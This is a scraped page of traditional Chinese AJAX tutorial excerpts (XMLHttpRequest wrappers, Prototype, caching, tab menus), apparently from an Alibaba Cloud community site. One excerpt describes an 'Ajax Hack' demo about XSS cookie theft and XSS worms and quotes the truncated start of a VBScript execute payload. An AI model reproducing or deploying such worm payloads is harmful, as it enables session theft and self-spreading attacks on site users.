Prototype使用指南之ajax

Prototype中的ajax.js提供了一個非常好用的ajax架構,一般應用中簡單的調用以下代碼就可以了new Ajax.Request( url, {method: “get”, onSuccess: showFilter, onFailure: function(request){alert(”Server error!”)}, onException: showError}

AJAX用戶端說明,XMLHttpRequest對象

在CommunityServer中運用了自己的AJAX機制,沒有藉助其他的輔助控制項。其中客戶的XMLHttpRequest對象的封裝,就足以讓人大飽眼福,在一般的瀏覽器其都能夠運行AJAX。下面我們來學習學習這個咚咚,希望能給更多的人帶來協助。 首先當然是要瞭解一下瀏覽器中的XMLHttp對象了: XMLHTTP方法: 備忘:客戶機可以使用XMLHTTP對象發送任意的HTTP請求,接受HTTP應答,還可以對應答的XML文檔進行解析。

AJAX 常用函數

建立XMLHTTP對象,區別IE,Mozilla瀏覽器 複製代碼 代碼如下: function getRequest() { http_request = false; if (window.XMLHttpRequest) { //對於Mozilla﹑Netscape﹑Safari等瀏覽器,建立XMLHttpRequest http_request = new XMLHttpRequest();

Smarty結合Ajax實現無重新整理留言本執行個體

看了標題你也許要說,留言本,很基本的東東啊!誰不會啊,還要用Smarty,這不找累嗎?別急,我要表達的是一種編程的思想和結構,而不是證明我做的東西多有意義,通過它相信對初學者學習Smarty和ajax有些啟發。原本用ajax做的,可惜始終調試不成功,只好用手寫JS來弄了,不過不要緊,還是有一定價值的。網站結構大家下了原始碼自己看,代碼不長,應該不會看煩^_^,聽我慢慢道來。 現在都PHP5了OO(物件導向)很流行了都,這裡也不錯過,首先來看下我們用OO來實現資料庫操作和串連:[php]&

一個Ajax類

程式碼:<script type="text/javascript">function Ajax(sUrl,sRecvTyp,sQueryString,oResultFunc) {this.Url = sUrl;this.QueryString = sQueryString;this.XmlHttp = this.createXMLHttpRequest();if (this.XmlHttp == null) {alert("erro");return;}var objxml =

一個簡單的AJAX請求類

在給blog加上無重新整理搜尋和即時驗證檢測後,又看了下代碼,感覺太過麻煩,就把XMLHttpRequest請求封裝到一個類裡面,用起來方便多了,不用記那麼多代碼,什麼建立XMLHttpRequest對象什麼的,這部分代碼也是重用性比較高的~已經打包,在日誌的末尾下載。 要看效果的話點開側邊欄裡的記錄搜尋,裡面有一個無重新整理搜尋,就是了,或者在閱讀日誌或留言簿裡的註冊碼那裡有即時檢測,如果不輸入驗證碼或者輸錯了驗證碼,輸入框都會變紅的^_^ 類名:AJAXRequest 建立方法:var

一個方便AJAX開發的通用類

Name: AJAXRequest Author: HotHeart(xujiwei) Site: http://www.xujiwei.cn/ Blog: http://www.xujiwei.cn/blog/ Copyright (c) 2006, All Rights Reserved 類名:AJAXRequest 版本:0.3 日期:2006-12-18

用 ajax 的方法解決網頁廣告顯示的問題

有的時候google或者其他廣告顯示不出來,造成頁面訪問速度奇慢,怎麼樣解決這個問題呢?我們可以借用AJAX的方式來做一下:   在原位置放置以下代碼: 〈div id=“GoogleAD“〉〈/div〉   在 html 最後(〈/body〉前)加上: 〈div id=“tempGoogleAD“ style=“display:none;“〉 〈script type=“text/javascript“

AJAX開發簡略 (第一部分)

在使用瀏覽器瀏覽網頁的時候,當頁面重新整理很慢的時候,你的瀏覽器在幹什嗎?你的螢幕內容是什嗎?是的,你的瀏覽器在等待重新整理,而你的螢幕內容是一片空白,而你在螢幕前苦苦的等待瀏覽器的響應。開發人員為了克服這種尷尬的局面,不得不在每一個可能需要長時間等待響應的頁面上增加一個DIV,告訴使用者“系統正在處理您的請求,請稍候……”。

AJAX技術架構及開發工具

常見的AJAX架構有:DWR - Web Remoting Buffalo - Web Remoting (based on prototype) prototype - JS OO library openrico - JS UI component (based on prototype) dojo - JS library and UI component qooxdoo - JS UI component (C/S Style) YUL - JS UI component

ajax緩衝問題解決途徑

我用PHP和Ajax結合,添加資料之後,重新整理前台頁面,資料沒有變化。我改動PHP動態指令碼,只有重新找開IE再輸入地址,才能看到效果。以上這些是不是緩衝的原因啊?怎麼解決? ajax緩衝問題解決途徑: 是緩衝的問題。在服務端加 header("Cache-Control: no-cache, must-revalidate"); 並且在你的JS提交參數中加隨機或是時間字串 url+"?timeStamp="+new Date().getTime();

琥珀無限級分類聯動菜單AJAX版

我做好琥珀無限級分類聯動菜單Javascript版後,在藍色理想和CSDN上發表了一下,梅花雪兄在CSDN上提出了效率不足的問題,我也認識到了這一點,本打算項目完工後再進行完善,但一時技癢,便在網上尋找了一下資料,最後做出了此AJAX版無限級分類聯動菜單。因時間匆忙,做得比較粗糙,但已利用AJAX技術,實現無限級聯動,待過一段時間再完善此版本。希望能給大家提供一些協助,有好的建議或bug可在此帖後回複或瀏覽http://www.51ajax.com/bbs/發帖。運行環境:MS IE 6.0

ajax代理程式,自動判斷字元編碼

由於ajax在跨域的訪問上有問題,目前最好的方法是做代理.寫了個代理程式和心得 為了做ajax的代理,研究了下伺服器端的xmlhttp並和用戶端的ajax中的xmlhttp做了個比較,後台代碼是asp的 伺服器端的xmlhttp也就是asp小偷程式,我把代碼改成了javascript. 1.在伺服器端的xmlhttp.Open("GET",url,false)非同步必須是關閉的,而用戶端的非同步是開啟的,這個很好理解. 2.在伺服器端的xmlhttp.Responsebody

ajax實現標籤導航

主要函數:複製代碼 代碼如下:<!-- function getObject(objectId) { if(document.getElementById && document.getElementById(objectId)) { // W3C DOM return document.getElementById(objectId); } else if (document.all &&

用Ajax讀取XML格式的資料

複製代碼 代碼如下:<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html> <head> <title>Ajax Hello World</title> <script type="text/javascript"> var

一個有趣的Ajax Hack示範

今天在夢之光芒的BLOG上看見了一個Ajax Hack示範,其實跨站發現很容易,但是要做到大危害還是很難,偷偷COOKIE什麼的只針對使用者而已,XSS WORM的那種利用才是可怕的。 來看看他的一段VBSCRIPT指令碼 複製代碼 代碼如下:vbscript:execute(" dim l,s: l=chr(13)+chr(10): s=""sub mycode""&l: s=s&""dim http,url,pg,p,p2,cd,ht,o""&l: s=s&

AJAX應用之草稿自動儲存

相信用過Gmail的人都知道Gmail有一個草稿自動儲存的功能,每過一段時間,Gmail都會自動儲存郵件草稿,這樣在一些突發情況下就能快速地恢複工作,免得寫了半天的郵件眨眼之間就沒有了。在學了AJAX之後,我也給自己的blog加上了這個功能。當然,這個應用並不只限於blog上,應該說還是比較通用的。PS.為了開發的方便,我用了一個自己寫的AJAX類,具體內容和下載在這裡。示範地址,我的blog仍舊以代碼加註釋來方式來說明怎麼編寫。首先是表單填寫頁面,用一個ID為AutoSaveMsg的DIV來顯

Ajax標籤導航效果(仿網易首頁)

根據yaohaixiao的Ajax標籤導航效果:http://www.blueidea.com/tech/web/2006/4144.asp改進。效果:http://www.lorlo.com/tab.html主要是改了JS:複製代碼 代碼如下:<!-- function getObject(objectId) { if(document.getElementById && document.getElementById(objectId)) { //

IIS裡的AJAX相關的設定

今天在IIS裡發現一個 保持 HTTP 串連 的選項 說明如下 啟用保持 HTTP 串連 大多數 網頁瀏覽器都要求伺服器對多個請求保持串連開啟狀態,這稱為“保持 HTTP 串連”。保持串連是一個 HTTP

ajax.js裡面有內容顯示效果,根據ID

ajax.js裡面有內容顯示效果,根據ID複製代碼 代碼如下: var http_request = false; var success=false; var ShowAllListFlag=1; var DisplayArticle=true; function makeRequest(url,cateID) { http_request = false; if (window.XMLHttpRequest) { //

總頁數: 351 1 .... 13 14 15 16 17 .... 351 Go to: 前往

Beyond APAC's No.1 Cloud

19.6% IaaS Market Share in Asia Pacific - Gartner IT Service report, 2018

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。